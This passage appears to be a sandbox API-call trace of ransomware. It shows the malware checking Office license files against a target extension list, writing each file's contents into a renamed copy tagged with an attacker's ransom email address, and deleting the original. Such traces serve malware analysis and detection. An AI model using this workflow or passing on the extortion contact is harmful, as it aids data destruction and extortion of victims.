lpNumberOfBytesWritten=0x313fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0205.978] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.978] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0205.978] SetEndOfFile (hFile=0x564) returned 1 [0205.978] CloseHandle (hObject=0x564) returned 1 [0205.978] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.978] SetEndOfFile (hFile=0x3f8) returned 1 [0205.981] CloseHandle (hObject=0x3f8) returned 1 [0205.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.983] lstrlenW (lpString=".doc") returned 4 [0205.983] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".docx") returned 5 [0205.983] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.983] lstrlenW (lpString=".pdf") returned 4 [0205.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".xls") returned 4 [0205.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".xlsx") returned 5 [0205.983] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.983] lstrlenW (lpString=".ppt") returned 4 [0205.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.983] lstrlenW (lpString=".zip") returned 4 [0205.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".rar") returned 4 [0205.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".bz2") returned 4 [0205.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.983] lstrlenW (lpString=".7z") returned 3 [0205.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString=".dbf") returned 4 [0205.984] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString=".1cd") returned 4 [0205.984] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString=".jpg") returned 4 [0205.984] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString=".doc") returned 4 [0205.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".docx") returned 5 [0205.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.984] lstrlenW (lpString=".pdf") returned 4 [0205.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".xls") returned 4 [0205.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".xlsx") returned 5 [0205.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.984] lstrlenW (lpString=".ppt") returned 4 [0205.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.984] lstrlenW (lpString=".zip") returned 4 [0205.984] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".rar") returned 4 [0205.984] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".bz2") returned 4 [0205.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.984] lstrlenW (lpString=".7z") returned 3 [0205.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.985] lstrlenW (lpString=".dbf") returned 4 [0205.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.985] lstrlenW (lpString=".1cd") returned 4 [0205.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0205.985] lstrlenW (lpString=".jpg") returned 4 [0205.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.985] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.985] lstrlenW (lpString="O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 36 [0205.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.986] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11630) returned 1 [0205.986] CloseHandle (hObject=0x3f8) returned 1 [0205.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0205.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.986] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.986] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.987] GetLastError () returned 0x0 [0205.987] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0206.002] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0206.003] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.003] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0206.003] SetEndOfFile (hFile=0x564) returned 1 [0206.034] CloseHandle (hObject=0x564) returned 1 [0206.035] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.035] SetEndOfFile (hFile=0x3f8) returned 1 [0206.053] CloseHandle (hObject=0x3f8) returned 1 [0206.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 1 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString=".doc") returned 4 [0206.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".docx") returned 5 [0206.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.055] lstrlenW (lpString=".pdf") returned 4 [0206.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".xls") returned 4 [0206.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".xlsx") returned 5 [0206.055] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.055] lstrlenW (lpString=".ppt") returned 4 [0206.055] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString=".zip") returned 4 [0206.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".rar") returned 4 [0206.055] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".bz2") returned 4 [0206.055] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString=".7z") returned 3 [0206.055] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString=".dbf") returned 4 [0206.055] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString=".1cd") returned 4 [0206.055] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.055] lstrlenW (lpString=".jpg") returned 4 [0206.055] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.056] lstrlenW (lpString=".doc") returned 4 [0206.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".docx") returned 5 [0206.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.056] lstrlenW (lpString=".pdf") returned 4 [0206.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".xls") returned 4 [0206.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".xlsx") returned 5 [0206.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.056] lstrlenW (lpString=".ppt") returned 4 [0206.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.056] lstrlenW (lpString=".zip") returned 4 [0206.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".rar") returned 4 [0206.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".bz2") returned 4 [0206.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.056] lstrlenW (lpString=".7z") returned 3 [0206.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.065] lstrlenW (lpString=".dbf") returned 4 [0206.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.065] lstrlenW (lpString=".1cd") returned 4 [0206.065] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0206.065] lstrlenW (lpString=".jpg") returned 4 [0206.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.065] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.065] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 50 [0206.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.066] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11694) returned 1 [0206.066] CloseHandle (hObject=0x3c4) returned 1 [0206.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0206.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.067] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.067] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0206.068] GetLastError () returned 0x0 [0206.068] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0206.079] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0206.090] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.091] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x138, lpOverlapped=0x0) returned 1 [0206.091] SetEndOfFile (hFile=0x564) returned 1 [0206.091] CloseHandle (hObject=0x564) returned 1 [0206.091] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.091] SetEndOfFile (hFile=0x3c4) returned 1 [0206.094] CloseHandle (hObject=0x3c4) returned 1 [0206.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0206.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.253] lstrlenW (lpString=".doc") returned 4 [0206.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".docx") returned 5 [0206.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.254] lstrlenW (lpString=".pdf") returned 4 [0206.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".xls") returned 4 [0206.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".xlsx") returned 5 [0206.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.254] lstrlenW (lpString=".ppt") returned 4 [0206.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.254] lstrlenW (lpString=".zip") returned 4 [0206.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".rar") returned 4 [0206.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".bz2") returned 4 [0206.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString=".7z") returned 3 [0206.254] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.254] lstrlenW (lpString=".dbf") returned 4 [0206.254] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.254] lstrlenW (lpString=".1cd") returned 4 [0206.254] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.254] lstrlenW (lpString=".jpg") returned 4 [0206.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.255] lstrlenW (lpString=".doc") returned 4 [0206.255] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".docx") returned 5 [0206.255] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.255] lstrlenW (lpString=".pdf") returned 4 [0206.255] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".xls") returned 4 [0206.255] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".xlsx") returned 5 [0206.255] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.255] lstrlenW (lpString=".ppt") returned 4 [0206.255] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.255] lstrlenW (lpString=".zip") returned 4 [0206.255] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".rar") returned 4 [0206.255] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".bz2") returned 4 [0206.255] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString=".7z") returned 3 [0206.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.255] lstrlenW (lpString=".dbf") returned 4 [0206.255] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.255] lstrlenW (lpString=".1cd") returned 4 [0206.255] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0206.255] lstrlenW (lpString=".jpg") returned 4 [0206.255] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.256] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.256] lstrlenW (lpString="O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 42 [0206.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.256] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=27735) returned 1 [0206.256] CloseHandle (hObject=0x554) returned 1 [0206.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 0x220 [0206.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 